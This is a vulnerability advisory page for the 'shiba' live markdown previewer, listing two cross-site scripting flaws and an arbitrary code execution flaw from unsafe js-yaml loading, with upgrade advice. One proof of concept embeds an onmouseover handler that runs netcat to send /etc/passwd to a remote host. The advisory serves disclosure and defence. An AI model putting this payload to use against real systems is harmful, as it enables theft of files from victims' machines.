shiba@0.7.3 vulnerabilities

Live markdown previewer with linter

1.2.1

9 years ago

6 years ago

Known vulnerabilities in the shiba package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability	Vulnerable Version
M Cross-site Scripting (XSS) shiba is a Live markdown previewer with linter Affected versions of this package are vulnerable to Cross-site Scripting (XSS). It is possible to inject malicious JavaScript as part of a markdown file which is executed as JavaScript. This can be leveraged to execute arbitrary commands on a victim's system. PoC `<s <onmouseover="alert(1)"> <s onmouseover="const exec = require('child_process').exec; exec('nc -w 3 192.168.8.100 1337 < /etc/passwd', (e, stdout, stderr)=> { if (e instanceof Error) { console.error(e); throw e; } console.log('stdout ', stdout); console.log('stderr ', stderr); });alert('1')">Hallo</s>` How to fix Cross-site Scripting (XSS)? Upgrade `shiba` to version 1.1.1 or higher.	<1.1.1
H Arbitrary Code Execution shiba is a Live markdown previewer with linter Affected versions of this package are vulnerable to Arbitrary Code Execution due to the default usage of the function `load()` of the package `js-yaml` instead of its secure replacement , `safeLoad()`. How to fix Arbitrary Code Execution? There is no fixed version for `shiba`.	*
M Cross-site Scripting (XSS) `shiba` is a rich live markdown preview app with linter. Affected versions of this package are vulnerable to a Cross-site Scripting (XSS) attack which can lead to code execution due to an enabled node integration. How to fix Cross-site Scripting (XSS)? Upgrade to `shiba` version 1.1.1 or higher.	<1.1.1